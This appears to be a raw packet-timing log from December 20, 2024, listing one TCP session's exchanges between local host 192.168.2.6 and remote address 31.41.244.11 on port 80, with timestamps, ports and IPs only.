Dec 20, 2024 17:43:19.733831882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.733877897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.734714985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.734769106 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.734898090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.734945059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.736373901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.736424923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.736629963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.736676931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.737780094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.737828970 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.737917900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.738014936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.739372969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.739423037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.739568949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.739619970 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.740858078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.740931034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.740998030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.741044998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.742541075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.742593050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.742651939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.742691994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.743978024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.744026899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.745075941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.745126963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.745471001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.745517969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.745559931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.745606899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.747014046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.747071028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.747951031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.748004913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.748532057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.748595953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.749099970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.749150991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.750123978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.750138044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.750176907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.750200033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.751595020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.751650095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.751755953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.751810074 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.753149986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.753204107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.753240108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.753292084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.754700899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.754753113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.755409002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.755460978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.756186008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.756233931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.756288052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.756334066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.757736921 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.757786989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.757832050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.757879019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.759484053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.759533882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.759608030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.759654045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.760786057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.760847092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.760988951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.761034966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.762330055 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.762373924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.762711048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.762756109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.763864994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.763919115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.764127970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.764173985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.765532017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.765583992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.765655041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.765764952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.766976118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.767021894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.767287016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.767333031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.768666029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.768717051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.768985033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.769027948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.770051956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.770097971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.770247936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.770289898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.771678925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.771725893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.771794081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.771835089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.773156881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.773176908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.773205996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.773227930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.774612904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.774663925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.774832010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.774874926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.776125908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.776168108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.776276112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.776340008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.777812004 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.777864933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.778088093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.778151989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.779247999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.779341936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.779361963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.779413939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.895068884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.895123959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.895327091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.895381927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.895694971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.895745993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.895919085 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.895956993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.897064924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.897119045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.897135973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.897177935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.898767948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.898783922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.898809910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.898920059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.899646044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.899693966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.899915934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.899986982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.901038885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.901119947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.901247025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.901293039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.902348042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.902388096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.902607918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.902698994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.903568029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.903604984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.904081106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.904115915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.904896975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.904943943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.904994965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.905040979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.906142950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.906193972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.906258106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.906316996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.907403946 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.907454967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.907636881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.907681942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.908751011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.908803940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.908819914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.908869028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.909986973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.910033941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.910284042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.910340071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.911268950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.911344051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.911376953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.911395073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.912619114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.912687063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.912893057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.912935972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.913851023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.913912058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.914309025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.914350986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.915148973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.915169001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.915199041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.915218115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.916412115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.916434050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.916455984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.916490078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.917732954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.917848110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.917903900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.917948008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.919065952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.919116020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.919222116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.919265985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.920208931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.920253992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.920386076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.920427084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.921478033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.921571016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.922077894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.922173977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.922780037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.922832012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.923048973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.923100948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.924065113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.924109936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.924123049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.924165010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.925370932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.925415039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.925831079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.925884008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.926604986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.926644087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.926790953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.926831961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.928003073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.928042889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.928045988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.928077936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.929208994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.929251909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.929673910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.929721117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.930470943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.930516958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.930551052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.930603027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.931720018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.931770086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.931876898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.931914091 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.932990074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.933043957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.933248043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.933330059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.934340000 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.934351921 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.934391975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.935590029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.935633898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.935684919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.935785055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.936866045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.936909914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.936984062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.937027931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.938153982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.938201904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.938302040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.938348055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.939620018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.939632893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.939676046 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.940684080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.940722942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.940762997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.940805912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.941984892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.942035913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.942177057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.942222118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.943305969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.943352938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.943562031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.943599939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.944590092 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.944633961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.944828987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.944868088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.945899010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.945940971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.945974112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.946031094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.947127104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.947169065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.947983980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.948112011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.948404074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.948447943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.949093103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.949131012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.949676037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.949718952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.949848890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.949891090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.950958967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.951008081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.951231956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.951271057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.952249050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.952296019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.952598095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.952644110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.953550100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.953603029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.953726053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.953764915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.954773903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.954822063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.955200911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.955243111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.956078053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.956125021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.956479073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.956530094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.957540989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.957587004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.957607985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.957647085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.958643913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.958684921 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.958720922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.958758116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.959959984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.960010052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.960347891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.960393906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.961230040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.961272955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.961667061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.961704969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.962584019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.962630033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.083642006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.083690882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.083709002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.083743095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.084508896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.084558964 CET	80	49732	31.41.244.11	192.168.2.6
